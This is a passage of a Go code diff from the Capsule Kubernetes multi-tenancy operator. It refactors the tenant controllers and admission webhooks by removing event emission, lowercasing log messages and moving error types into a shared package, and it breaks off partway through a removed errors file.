    @@ -72,9 +72,7 @@ func (r *Manager) syncNetworkPolicy(ctx context.Context, tenant *capsulev1beta2.
     			return controllerutil.SetControllerReference(tenant, target, r.Scheme())
     		})
     
    -		r.emitEvent(tenant, target.GetNamespace(), res, fmt.Sprintf("Ensuring NetworkPolicy %s", target.GetName()), err)
    -
    -		r.Log.V(4).Info("Network Policy sync result: "+string(res), "name", target.Name, "namespace", target.Namespace)
    +		r.Log.V(4).Info("network Policy sync result: "+string(res), "name", target.Name, "namespace", target.Namespace)
     
     		if err != nil {
     			return err
    
  • internal/controllers/tenant/resourcequotas.go+7 9 modified
    @@ -68,20 +68,20 @@ func (r *Manager) syncResourceQuotas(ctx context.Context, tenant *capsulev1beta2
     				var tntRequirement *labels.Requirement
     
     				if tntRequirement, scopeErr = labels.NewRequirement(meta.TenantLabel, selection.Equals, []string{tenant.Name}); scopeErr != nil {
    -					r.Log.Error(scopeErr, "Cannot build ResourceQuota Tenant requirement")
    +					r.Log.Error(scopeErr, "cannot build ResourceQuota Tenant requirement")
     				}
     				// Requirement to list ResourceQuota for the current index
     				var indexRequirement *labels.Requirement
     
     				if indexRequirement, scopeErr = labels.NewRequirement(meta.ResourceQuotaLabel, selection.Equals, []string{strconv.Itoa(index)}); scopeErr != nil {
    -					r.Log.Error(scopeErr, "Cannot build ResourceQuota index requirement")
    +					r.Log.Error(scopeErr, "cannot build ResourceQuota index requirement")
     				}
     				// Listing all the ResourceQuota according to the said requirements.
     				// These are required since Capsule is going to sum all the used quota to
     				// sum them and get the Tenant one.
     				list := &corev1.ResourceQuotaList{}
     				if scopeErr = r.List(ctx, list, &client.ListOptions{LabelSelector: labels.NewSelector().Add(*tntRequirement).Add(*indexRequirement)}); scopeErr != nil {
    -					r.Log.Error(scopeErr, "Cannot list ResourceQuota", "tenantFilter", tntRequirement.String(), "indexFilter", indexRequirement.String())
    +					r.Log.Error(scopeErr, "cannot list ResourceQuota", "tenantFilter", tntRequirement.String(), "indexFilter", indexRequirement.String())
     
     					return scopeErr
     				}
    @@ -92,15 +92,15 @@ func (r *Manager) syncResourceQuotas(ctx context.Context, tenant *capsulev1beta2
     				// For this case, we're going to block the Quota setting the Hard as the
     				// used one.
     				for name, hardQuota := range resourceQuota.Hard {
    -					r.Log.V(4).Info("Desired hard " + name.String() + " quota is " + hardQuota.String())
    +					r.Log.V(4).Info("desired hard " + name.String() + " quota is " + hardQuota.String())
     
     					// Getting the whole usage across all the Tenant Namespaces
     					var quantity resource.Quantity
     					for _, item := range list.Items {
     						quantity.Add(item.Status.Used[name])
     					}
     
    -					r.Log.V(4).Info("Computed " + name.String() + " quota for the whole Tenant is " + quantity.String())
    +					r.Log.V(4).Info("computed " + name.String() + " quota for the whole Tenant is " + quantity.String())
     
     					// Expose usage and limit metrics for the resource (name) of the ResourceQuota (index)
     					r.Metrics.TenantResourceUsageGauge.WithLabelValues(
    @@ -247,9 +247,7 @@ func (r *Manager) syncResourceQuota(ctx context.Context, tenant *capsulev1beta2.
     			return retryErr
     		})
     
    -		r.emitEvent(tenant, target.GetNamespace(), res, fmt.Sprintf("Ensuring ResourceQuota %s", target.GetName()), err)
    -
    -		r.Log.V(4).Info("Resource Quota sync result: "+string(res), "name", target.Name, "namespace", target.Namespace)
    +		r.Log.V(4).Info("resource Quota sync result: "+string(res), "name", target.Name, "namespace", target.Namespace)
     
     		if err != nil {
     			return err
    @@ -338,7 +336,7 @@ func (r *Manager) resourceQuotasUpdate(ctx context.Context, resourceName corev1.
     	if err = group.Wait(); err != nil {
     		// We had an error and we mark the whole transaction as failed
     		// to process it another time according to the Tenant controller back-off factor.
    -		r.Log.Error(err, "Cannot update outer ResourceQuotas", "resourceName", resourceName.String())
    +		r.Log.Error(err, "cannot update outer ResourceQuotas", "resourceName", resourceName.String())
     		err = fmt.Errorf("update of outer ResourceQuota items has failed: %w", err)
     	}
     
    
  • internal/controllers/tenant/resourcequotas_quota.go+2 2 modified
    @@ -25,8 +25,8 @@ func (r *Manager) syncCustomResourceQuotaUsages(ctx context.Context, tenant *cap
     		group   string
     		version string
     	}
    -	//nolintlint:prealloc
    -	var resourceList []resource
    +
    +	resourceList := make([]resource, 0, len(tenant.GetAnnotations()))
     
     	for k := range tenant.GetAnnotations() {
     		if !strings.HasPrefix(k, capsulev1beta2.ResourceQuotaAnnotationPrefix) {
    
  • internal/controllers/tenant/rolebindings.go+2 5 modified
    @@ -92,14 +92,11 @@ func (r *Manager) syncAdditionalRoleBinding(
     
     			return controllerutil.SetControllerReference(tenant, target, r.Scheme())
     		})
    -
    -		r.emitEvent(tenant, target.GetNamespace(), res, fmt.Sprintf("Ensuring RoleBinding %s", target.GetName()), err)
    -
     		if err != nil {
    -			r.Log.Error(err, "Cannot sync RoleBinding")
    +			r.Log.Error(err, "cannot sync RoleBinding")
     		}
     
    -		r.Log.V(4).Info(fmt.Sprintf("RoleBinding sync result: %s", string(res)), "name", target.Name, "namespace", target.Namespace)
    +		r.Log.V(4).Info(fmt.Sprintf("roleBinding sync result: %s", string(res)), "name", target.Name, "namespace", target.Namespace)
     
     		if err != nil {
     			return err
    
  • internal/controllers/tenant/status.go+4 3 modified
    @@ -21,15 +21,16 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     // Sets a label on the Tenant object with it's name.
     func (r *Manager) collectOwners(ctx context.Context, tnt *capsulev1beta2.Tenant) (err error) {
    -	owners, err := tnt.CollectOwners(
    +	owners, err := tenant.CollectOwners(
     		ctx,
     		r.Client,
    -		r.Configuration.AllowServiceAccountPromotion(),
    -		r.Configuration.Administrators(),
    +		tnt,
    +		r.Configuration,
     	)
     	if err != nil {
     		return err
    
  • internal/controllers/tenant/utils.go+1 15 modified
    @@ -6,15 +6,12 @@ package tenant
     import (
     	"context"
     
    -	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/labels"
    -	"k8s.io/apimachinery/pkg/runtime"
     	"k8s.io/apimachinery/pkg/selection"
     	"k8s.io/apimachinery/pkg/types"
     	"k8s.io/client-go/util/retry"
     	"k8s.io/client-go/util/workqueue"
     	"sigs.k8s.io/controller-runtime/pkg/client"
    -	"sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"
     	"sigs.k8s.io/controller-runtime/pkg/event"
     	"sigs.k8s.io/controller-runtime/pkg/handler"
     	"sigs.k8s.io/controller-runtime/pkg/reconcile"
    @@ -171,7 +168,7 @@ func (r *Manager) pruningResources(ctx context.Context, ns string, keys []string
     		selector = selector.Add(*notIn)
     	}
     
    -	r.Log.V(3).Info("Pruning objects with label selector " + selector.String())
    +	r.Log.V(4).Info("pruning objects with label selector " + selector.String())
     
     	return retry.RetryOnConflict(retry.DefaultBackoff, func() error {
     		return r.DeleteAllOf(ctx, obj, &client.DeleteAllOfOptions{
    @@ -183,14 +180,3 @@ func (r *Manager) pruningResources(ctx context.Context, ns string, keys []string
     		})
     	})
     }
    -
    -func (r *Manager) emitEvent(object runtime.Object, namespace string, res controllerutil.OperationResult, msg string, err error) {
    -	eventType := corev1.EventTypeNormal
    -
    -	if err != nil {
    -		eventType = corev1.EventTypeWarning
    -		res = "Error"
    -	}
    -
    -	r.Recorder.AnnotatedEventf(object, map[string]string{"OperationResult": string(res)}, eventType, namespace, msg)
    -}
    
  • internal/controllers/tls/manager.go+6 4 modified
    @@ -29,8 +29,9 @@ import (
     	"sigs.k8s.io/controller-runtime/pkg/reconcile"
     
     	"github.com/projectcapsule/capsule/internal/controllers/utils"
    -	"github.com/projectcapsule/capsule/pkg/cert"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/runtime/cert"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
     )
     
     const (
    @@ -62,6 +63,7 @@ func (r *Reconciler) SetupWithManager(mgr ctrl.Manager) error {
     
     	return ctrl.NewControllerManagedBy(mgr).
     		For(&corev1.Secret{}, utils.NamesMatchingPredicate(r.Configuration.TLSSecretName())).
    +		Named("capsule/tls").
     		Watches(&admissionregistrationv1.ValidatingWebhookConfiguration{}, enqueueFn, builder.WithPredicates(predicate.NewPredicateFuncs(func(object client.Object) bool {
     			return object.GetName() == r.Configuration.ValidatingWebhookConfigurationName()
     		}))).
    @@ -140,7 +142,7 @@ func (r Reconciler) ReconcileCertificates(ctx context.Context, certSecret *corev
     
     	operatorPods, err := r.getOperatorPods(ctx)
     	if err != nil {
    -		if errors.As(err, &RunningInOutOfClusterModeError{}) {
    +		if errors.As(err, &caperrors.RunningInOutOfClusterModeError{}) {
     			r.Log.Info("skipping annotation of Pods for cert-manager", "error", err.Error())
     
     			return nil
    @@ -331,7 +333,7 @@ func (r Reconciler) getOperatorPods(ctx context.Context) (*corev1.PodList, error
     	leaderPod := &corev1.Pod{}
     
     	if err := r.Get(ctx, types.NamespacedName{Namespace: os.Getenv("NAMESPACE"), Name: hostname}, leaderPod); err != nil {
    -		return nil, RunningInOutOfClusterModeError{}
    +		return nil, caperrors.RunningInOutOfClusterModeError{}
     	}
     
     	podList := &corev1.PodList{}
    
  • internal/webhook/cfg/warnings.go+6 6 modified
    @@ -7,34 +7,34 @@ import (
     	"context"
     
     	admissionv1 "k8s.io/api/admission/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type warningHandler struct{}
     
    -func WarningHandler() capsulewebhook.Handler {
    +func WarningHandler() handlers.Handler {
     	return &warningHandler{}
     }
     
    -func (h *warningHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *warningHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.handle(decoder, req)
     	}
     }
     
    -func (h *warningHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *warningHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *warningHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *warningHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.handle(decoder, req)
     	}
    
  • internal/webhook/defaults/errors.go+0 91 removed
    @@ -1,91 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package defaults
    -
    -import (
    -	"fmt"
    -	"reflect"
    -
    -	gatewayv1 "sigs.k8s.io/gateway-api/apis/v1"
    -)
    -
    -type StorageClassError struct {
    -	storageClass string
    -	msg          error
    -}
    -
    -func NewStorageClassError(class string, msg error) error {
    -	return &StorageClassError{
    -		storageClass: class,
    -		msg:          msg,
    -	}
    -}
    -
    -func (e StorageClassError) Error() string {
    -	return fmt.Sprintf("Failed to resolve Storage Class %s: %s", e.storageClass, e.msg)
    -}
    -
    -type IngressClassError struct {
    -	ingressClass string
    -	msg          error
    -}
    -
    -func NewIngressClassError(class string, msg error) error {
    -	return &IngressClassError{
    -		ingressClass: class,
    -		msg:          msg,
    -	}
    -}
    -
    -func (e IngressClassError) Error() string {
    -	return fmt.Sprintf("Failed to resolve Ingress Class %s: %s", e.ingressClass, e.msg)
    -}
    -
    -type GatewayClassError struct {
    -	gatewayClass string
    -	msg          error
    -}
    -
    -func NewGatewayClassError(class string, msg error) error {
    -	return &GatewayClassError{
    -		gatewayClass: class,
    -		msg:          msg,
    -	}
    -}
    -
    -func (e GatewayClassError) Error() string {
    -	return fmt.Sprintf("Failed to resolve Gateway Class %s: %s", e.gatewayClass, e.msg)
    -}
    -
    -type GatewayError struct {
    -	gateway string
    -	msg     error
    -}
    -
    -func NewGatewayError(gateway gatewayv1.ObjectName, msg error) error {
    -	return &GatewayError{
    -		gateway: reflect.ValueOf(gateway).String(),
    -		msg:     msg,
    -	}
    -}
    -
    -func (e GatewayError) Error() string {
    -	return fmt.Sprintf("Failed to resolve Gateway %s: %s", e.gateway, e.msg)
    -}
    -
    -type PriorityClassError struct {
    -	priorityClass string
    -	msg           error
    -}
    -
    -func NewPriorityClassError(class string, msg error) error {
    -	return &PriorityClassError{
    -		priorityClass: class,
    -		msg:           msg,
    -	}
    -}
    -
    -func (e PriorityClassError) Error() string {
    -	return fmt.Sprintf("Failed to resolve Priority Class %s: %s", e.priorityClass, e.msg)
    -}
    
  • internal/webhook/defaults/gateway.go+4 7 modified
    @@ -8,18 +8,17 @@ import (
     	"encoding/json"
     	"net/http"
     
    -	corev1 "k8s.io/api/core/v1"
     	k8serrors "k8s.io/apimachinery/pkg/api/errors"
    -	"k8s.io/client-go/tools/record"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     	gatewayv1 "sigs.k8s.io/gateway-api/apis/v1"
     
     	capsulegateway "github.com/projectcapsule/capsule/internal/webhook/gateway"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
     )
     
    -func mutateGatewayDefaults(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder, recorder record.EventRecorder, namespce string) *admission.Response {
    +func mutateGatewayDefaults(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder, namespce string) *admission.Response {
     	gatewayObj := &gatewayv1.Gateway{}
     	if err := decoder.Decode(req, gatewayObj); err != nil {
     		return utils.ErroredResponse(err)
    @@ -50,15 +49,15 @@ func mutateGatewayDefaults(ctx context.Context, req admission.Request, c client.
     		if gatewayObj.Spec.GatewayClassName == ("") {
     			mutate = true
     		} else {
    -			response := admission.Denied(NewGatewayError(gatewayObj.Spec.GatewayClassName, err).Error())
    +			response := admission.Denied(caperrors.NewGatewayError(gatewayObj.Spec.GatewayClassName, err).Error())
     
     			return &response
     		}
     	}
     
     	if gatewayClass != nil && gatewayClass.Name != allowed.Default {
     		if err != nil && !k8serrors.IsNotFound(err) {
    -			response := admission.Denied(NewGatewayClassError(gatewayClass.Name, err).Error())
    +			response := admission.Denied(caperrors.NewGatewayClassError(gatewayClass.Name, err).Error())
     
     			return &response
     		}
    @@ -79,8 +78,6 @@ func mutateGatewayDefaults(ctx context.Context, req admission.Request, c client.
     		return &response
     	}
     
    -	recorder.Eventf(tnt, corev1.EventTypeNormal, "TenantDefault", "Assigned Tenant default Gateway Class %s to %s/%s", allowed.Default, gatewayObj.Name, gatewayObj.Namespace)
    -
     	response := admission.PatchResponseFromRaw(req.Object.Raw, marshaled)
     
     	return &response
    
  • internal/webhook/defaults/handler.go+14 14 modified
    @@ -8,56 +8,56 @@ import (
     
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     	"k8s.io/apimachinery/pkg/util/version"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type handler struct {
     	cfg     configuration.Configuration
     	version *version.Version
     }
     
    -func Handler(cfg configuration.Configuration, version *version.Version) capsulewebhook.Handler {
    +func Handler(cfg configuration.Configuration, version *version.Version) handlers.Handler {
     	return &handler{
     		cfg:     cfg,
     		version: version,
     	}
     }
     
    -func (h *handler) OnCreate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *handler) OnCreate(client client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
    -		return h.mutate(ctx, req, client, decoder, recorder)
    +		return h.mutate(ctx, req, client, decoder)
     	}
     }
     
    -func (h *handler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *handler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *handler) OnUpdate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *handler) OnUpdate(client client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
    -		return h.mutate(ctx, req, client, decoder, recorder)
    +		return h.mutate(ctx, req, client, decoder)
     	}
     }
     
    -func (h *handler) mutate(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder, recorder record.EventRecorder) *admission.Response {
    +func (h *handler) mutate(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder) *admission.Response {
     	var response *admission.Response
     
     	switch req.Resource {
     	case metav1.GroupVersionResource{Group: "", Version: "v1", Resource: "pods"}:
    -		response = mutatePodDefaults(ctx, req, c, decoder, recorder, req.Namespace)
    +		response = mutatePodDefaults(ctx, req, c, decoder, req.Namespace)
     	case metav1.GroupVersionResource{Group: "", Version: "v1", Resource: "persistentvolumeclaims"}:
    -		response = mutatePVCDefaults(ctx, req, c, decoder, recorder, req.Namespace)
    +		response = mutatePVCDefaults(ctx, req, c, decoder, req.Namespace)
     	case metav1.GroupVersionResource{Group: "networking.k8s.io", Version: "v1", Resource: "ingresses"}, metav1.GroupVersionResource{Group: "networking.k8s.io", Version: "v1beta1", Resource: "ingresses"}:
    -		response = mutateIngressDefaults(ctx, req, h.version, c, decoder, recorder, req.Namespace)
    +		response = mutateIngressDefaults(ctx, req, h.version, c, decoder, req.Namespace)
     	case metav1.GroupVersionResource{Group: "gateway.networking.k8s.io", Version: "v1", Resource: "gateways"}:
    -		response = mutateGatewayDefaults(ctx, req, c, decoder, recorder, req.Namespace)
    +		response = mutateGatewayDefaults(ctx, req, c, decoder, req.Namespace)
     	}
     
     	if response == nil {
    
  • internal/webhook/defaults/ingress.go+3 6 modified
    @@ -8,19 +8,18 @@ import (
     	"encoding/json"
     	"net/http"
     
    -	corev1 "k8s.io/api/core/v1"
     	k8serrors "k8s.io/apimachinery/pkg/api/errors"
     	"k8s.io/apimachinery/pkg/util/version"
    -	"k8s.io/client-go/tools/record"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	capsuleingress "github.com/projectcapsule/capsule/internal/webhook/ingress"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
     )
     
    -func mutateIngressDefaults(ctx context.Context, req admission.Request, version *version.Version, c client.Client, decoder admission.Decoder, recorder record.EventRecorder, namespace string) *admission.Response {
    +func mutateIngressDefaults(ctx context.Context, req admission.Request, version *version.Version, c client.Client, decoder admission.Decoder, namespace string) *admission.Response {
     	ingress, err := capsuleingress.FromRequest(req, decoder)
     	if err != nil {
     		return utils.ErroredResponse(err)
    @@ -51,7 +50,7 @@ func mutateIngressDefaults(ctx context.Context, req admission.Request, version *
     
     	if ingressClassName := ingress.IngressClass(); ingressClassName != nil && *ingressClassName != allowed.Default {
     		if ingressClass, err = utils.GetIngressClassByName(ctx, version, c, ingressClassName); err != nil && !k8serrors.IsNotFound(err) {
    -			response := admission.Denied(NewIngressClassError(*ingressClassName, err).Error())
    +			response := admission.Denied(caperrors.NewIngressClassError(*ingressClassName, err).Error())
     
     			return &response
     		}
    @@ -72,8 +71,6 @@ func mutateIngressDefaults(ctx context.Context, req admission.Request, version *
     		return &response
     	}
     
    -	recorder.Eventf(tnt, corev1.EventTypeNormal, "TenantDefault", "Assigned Tenant default Ingress Class %s to %s/%s", allowed.Default, ingress.Name(), ingress.Namespace())
    -
     	response := admission.PatchResponseFromRaw(req.Object.Raw, marshaled)
     
     	return &response
    
  • internal/webhook/defaults/pods.go+4 18 modified
    @@ -10,17 +10,17 @@ import (
     
     	corev1 "k8s.io/api/core/v1"
     	schedulev1 "k8s.io/api/scheduling/v1"
    -	"k8s.io/client-go/tools/record"
     	"k8s.io/utils/ptr"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
     	"github.com/projectcapsule/capsule/pkg/api"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
    -func mutatePodDefaults(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder, recorder record.EventRecorder, namespace string) *admission.Response {
    +func mutatePodDefaults(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder, namespace string) *admission.Response {
     	var pod corev1.Pod
     	if err := decoder.Decode(req, &pod); err != nil {
     		return utils.ErroredResponse(err)
    @@ -40,23 +40,9 @@ func mutatePodDefaults(ctx context.Context, req admission.Request, c client.Clie
     	pcMutated, pcErr := handlePriorityClassDefault(ctx, c, tnt.Spec.PriorityClasses, &pod)
     	if pcErr != nil {
     		return utils.ErroredResponse(pcErr)
    -	} else if pcMutated {
    -		defer func() {
    -			if err == nil {
    -				recorder.Eventf(tnt, corev1.EventTypeNormal, "TenantDefault", "Assigned Tenant default Priority Class %s to %s/%s", tnt.Spec.PriorityClasses.Default, pod.Namespace, pod.Name)
    -			}
    -		}()
     	}
     
     	rcMutated := handleRuntimeClassDefault(tnt.Spec.RuntimeClasses, &pod)
    -	if rcMutated {
    -		defer func() {
    -			if err == nil {
    -				recorder.Eventf(tnt, corev1.EventTypeNormal, "TenantDefault", "Assigned Tenant default Runtime Class %s to %s/%s", tnt.Spec.RuntimeClasses.Default, pod.Namespace, pod.Name)
    -			}
    -		}()
    -	}
    -
     	if !rcMutated && !pcMutated {
     		return nil
     	}
    @@ -104,7 +90,7 @@ func handlePriorityClassDefault(ctx context.Context, c client.Client, allowed *a
     		cpc, err = utils.GetPriorityClassByName(ctx, c, priorityClassPod)
     		// Should not happen, since API already checks if PC present
     		if err != nil {
    -			return false, NewPriorityClassError(priorityClassPod, err)
    +			return false, caperrors.NewPriorityClassError(priorityClassPod, err)
     		}
     	} else {
     		mutated = true
    
  • internal/webhook/defaults/storage.go+4 6 modified
    @@ -10,16 +10,16 @@ import (
     	corev1 "k8s.io/api/core/v1"
     	storagev1 "k8s.io/api/storage/v1"
     	k8serrors "k8s.io/apimachinery/pkg/api/errors"
    -	"k8s.io/client-go/tools/record"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
    -func mutatePVCDefaults(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder, recorder record.EventRecorder, namespace string) *admission.Response {
    +func mutatePVCDefaults(ctx context.Context, req admission.Request, c client.Client, decoder admission.Decoder, namespace string) *admission.Response {
     	var err error
     
     	pvc := &corev1.PersistentVolumeClaim{}
    @@ -53,7 +53,7 @@ func mutatePVCDefaults(ctx context.Context, req admission.Request, c client.Clie
     	if storageClassName := pvc.Spec.StorageClassName; storageClassName != nil && *storageClassName != allowed.Default {
     		csc, err = utils.GetStorageClassByName(ctx, c, *storageClassName)
     		if err != nil && !k8serrors.IsNotFound(err) {
    -			response := admission.Denied(NewStorageClassError(*storageClassName, err).Error())
    +			response := admission.Denied(caperrors.NewStorageClassError(*storageClassName, err).Error())
     
     			return &response
     		}
    @@ -72,8 +72,6 @@ func mutatePVCDefaults(ctx context.Context, req admission.Request, c client.Clie
     		return utils.ErroredResponse(err)
     	}
     
    -	recorder.Eventf(tnt, corev1.EventTypeNormal, "TenantDefault", "Assigned Tenant default Storage Class %s to %s/%s", allowed.Default, pvc.Namespace, pvc.Name)
    -
     	response := admission.PatchResponseFromRaw(req.Object.Raw, marshaled)
     
     	return &response
    
  • internal/webhook/dra/validate.go+14 12 modified
    @@ -10,22 +10,24 @@ import (
     	corev1 "k8s.io/api/core/v1"
     	resources "k8s.io/api/resource/v1"
     	k8serrors "k8s.io/apimachinery/pkg/api/errors"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type deviceClass struct{}
     
    -func DeviceClass() capsulewebhook.Handler {
    +func DeviceClass() handlers.Handler {
     	return &deviceClass{}
     }
     
    -func (h *deviceClass) OnCreate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *deviceClass) OnCreate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		switch res := req.Kind.Kind; res {
     		case "ResourceClaim":
    @@ -48,19 +50,19 @@ func (h *deviceClass) OnCreate(c client.Client, decoder admission.Decoder, recor
     	}
     }
     
    -func (h *deviceClass) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *deviceClass) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *deviceClass) OnUpdate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *deviceClass) OnUpdate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *deviceClass) validateResourceRequest(ctx context.Context, c client.Client, _ admission.Decoder, recorder record.EventRecorder, req admission.Request, namespace string, requests []resources.DeviceRequest) *admission.Response {
    +func (h *deviceClass) validateResourceRequest(ctx context.Context, c client.Client, _ admission.Decoder, recorder events.EventRecorder, req admission.Request, namespace string, requests []resources.DeviceRequest) *admission.Response {
     	tnt, err := tenant.TenantByStatusNamespace(ctx, c, namespace)
     	if err != nil {
     		return utils.ErroredResponse(err)
    @@ -84,9 +86,9 @@ func (h *deviceClass) validateResourceRequest(ctx context.Context, c client.Clie
     		}
     
     		if dc == nil {
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "MissingDeviceClass", "%s %s/%s is missing DeviceClass", req.Kind.Kind, req.Namespace, req.Name)
    +			recorder.Eventf(tnt, dc, corev1.EventTypeWarning, evt.ReasonMissingDeviceClass, evt.ActionValidationDenied, "%s %s/%s is missing DeviceClass", req.Kind.Kind, req.Namespace, req.Name)
     
    -			response := admission.Denied(NewDeviceClassUndefined(*allowed).Error())
    +			response := admission.Denied(caperrors.NewDeviceClassUndefined(*allowed).Error())
     
     			return &response
     		}
    @@ -97,9 +99,9 @@ func (h *deviceClass) validateResourceRequest(ctx context.Context, c client.Clie
     		case allowed.Match(dc.Name) || selector:
     			return nil
     		default:
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenDeviceClass", "%s %s/%s DeviceClass %s is forbidden for the current Tenant", req.Kind.Kind, req.Namespace, req.Name, &dc)
    +			recorder.Eventf(tnt, dc, corev1.EventTypeWarning, evt.ReasonForbiddenDeviceClass, evt.ActionValidationDenied, "%s %s/%s DeviceClass %s is forbidden for the current Tenant", req.Kind.Kind, req.Namespace, req.Name, &dc)
     
    -			response := admission.Denied(NewDeviceClassForbidden(dc.Name, *allowed).Error())
    +			response := admission.Denied(caperrors.NewDeviceClassForbidden(dc.Name, *allowed).Error())
     
     			return &response
     		}
    
  • internal/webhook/gateway/errors.go+0 43 removed
    @@ -1,43 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package gateway
    -
    -import (
    -	"fmt"
    -
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/api"
    -)
    -
    -type gatewayClassForbiddenError struct {
    -	gatewayClassName string
    -	spec             api.DefaultAllowedListSpec
    -}
    -
    -func NewGatewayClassForbidden(class string, spec api.DefaultAllowedListSpec) error {
    -	return &gatewayClassForbiddenError{
    -		gatewayClassName: class,
    -		spec:             spec,
    -	}
    -}
    -
    -func (i gatewayClassForbiddenError) Error() string {
